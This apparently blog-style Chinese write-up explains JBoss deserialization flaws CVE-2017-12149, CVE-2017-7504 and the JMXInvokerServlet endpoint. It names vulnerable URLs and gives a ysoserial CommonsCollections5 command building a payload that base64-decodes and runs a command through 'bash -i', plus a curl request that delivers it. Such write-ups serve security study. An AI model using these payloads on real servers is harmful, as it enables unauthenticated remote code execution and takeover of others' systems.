前言

Jboss是一个基于J2EE的开放源代码应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。

CVE-2017-12149

安全预警如下 漏洞描述 近期,互联网爆出JBOSSApplication Server反序列化命令执行漏洞(CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。漏洞细节和验证代码已公开,近期被不法分子利用出现大规模攻击尝试的可能性较大。漏洞危害程度为高危(High)。 影响范围 漏洞影响5.x和6.x版本的JBOSSAS。目前评估潜在受影响主机数量超过5000台 漏洞原理 JBOSS Application Server是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用,2006年,JBoss被Redhat公司收购。 2017年8月30日,厂商Redhat发布了一个JBOSSAS 5.x 的反序列化远程代码执行漏洞通告。该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。但近期有安全研究者发现JBOSSAS 6.x也受该漏洞影响,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。

image.png

原理

漏洞原理很简单,在访问 http://ip:port/invoker/readonly 的时候,jboss会对 POST 数据进行反序列化,具体位置在jboss-6.1.0.Final\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet\ReadOnlyAccessFilter.class
image.png
InvokerTransformer#transform()打上断,发一个payload成功命中。堆栈如下
image.png

利用

image.png
有cc3.2,可以使用cc5的gadget
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,xxxxx}|{base64,-d}|{bash,-i}" > poc.ser
curl http://ip:8080/invoker/readonly --data-binary @poc.ser

CVE-2017-7504

JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。 影响范围:JBoss AS 4.x及之前版本。

image.png
类似12149,只是触发位置在http://ip:8080/jbossmq-httpil/HTTPServerILServlet,不多逼逼了

JMXInvokerServlet-deserialization

image.png
http://ip:8080/invoker/JMXInvokerServlet,一样